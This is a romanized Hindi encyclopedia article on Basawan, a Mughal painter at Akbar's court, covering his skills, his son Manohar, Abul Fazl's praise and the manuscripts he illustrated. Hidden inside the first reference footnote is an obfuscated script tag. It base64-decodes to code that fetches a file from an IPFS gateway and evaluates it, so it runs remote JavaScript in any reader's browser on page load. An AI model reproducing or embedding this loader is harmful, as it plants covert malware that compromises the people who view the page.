बसावन
basavan (utkarsh- 16vian shatabdi, madhyakalin bharat) ek shreshth mugal chitrakar tha, jisaki khyati ek behatarin rangakar v manav svabhav ke sanvedanashali drashta ke roop mean hoti thi. usake nam se sanket milata hai ki vah adhunik uttar pradesh ki kisi 'ahir' ya 'gvala' jati se tha. basavan ko chitrakala ke sabhi kshetroan- rekhaankan, rangoan ke prayog, chhavi-chitrakari, bhoo-drishyoan ke chitran mean maharat prapt thi. isalie use akabar ke samay ka sarvotkrisht chitrakar mana jata hai.
- basavan lagabhag 1580 ee. se 1600 ee. ke dauran sarvadhik sakriy raha. usaka nam 100 se bhi adhik chitrakritiyoan ke hashiye par bahudha aise roopaankanakar ke roop mean maujood hai, jisane apani kriti mean ek any kalakar ke sath milakar rang bhara hai.[1]
- usake putr manohar ne bhi janavaroan ke chitr tatha vyakti chitr banane mean vishesh prasiddhi paee thi.
- badashah akabar ke darabari itihasakar abul fazal ne basavan ke bare mean likha hai ki- "roopaankan v vyakti chitr banane, rang bharane aur mayavi kalakriti banane mean vishv mean usaka koee sani nahian hai."
- basavan sthan-sanyojan ki khoj, chamakile rangoan ki gaharaee v prachurata aur usase bhi badhakar tivr nirikshan tatha sanvedanashil aur marmasparshi chitraankan ke lie vikhyat tha. usake tho de-se laghuchitroan mean, jo nishchit hi akele usake dvara banae gaye the, usamean farasi kavi 'jami' ki gady v pady rachana 'baharistan' ko chitraankanat kiya gaya hai. inamean ek maulavi ya dharmik neta ko ek daravesh ko usake ahankar ke kie daantate hue dikhaya gaya haian.[2]
- basavan ki sarvotkrisht kriti ek dubale-patale gho de ke sath 'majanoo' ka nirjan evan uja d kshetr mean bhatakata hua chitr tha.
- ek any chitr british sangrahalay mean rakha hua 'darab-nama' (deriyas ki kitab) hai.
- basavan ke bahut-se chitr jayapur ke 'razmanama' (mahabharat ka farasi nam), patana ke 'taimooranama' (taimoor ki kitab), viktoriya v elbart sangrahalay mean akabar ke adhikarik itihas ki pratilipi 'akabaranama' mean haian.
- basavan dvara banaye ge chitroan mean pashchimi prabhav drishtigochar nahian hota, tathapi aisa pratit hota hai ki usane badashah akabar ke darabar mean eesaee mishanariyoan dvara laye ge yooropiy chitroan ka bahut-hi gahan adhyayan kiya tha.
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tika tippani aur sandarbh
- ↑ bharat jnanakosh, khand-3 |lekhak: iandu ramachandani |prakashak: eansaiklopidiya britainika praivet limited, nee dilli |sankalan: bharatakosh pustakalay |prishth sankhya: 349 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ b aaudaliyan pustakalay, aauksaford
sanbandhit lekh
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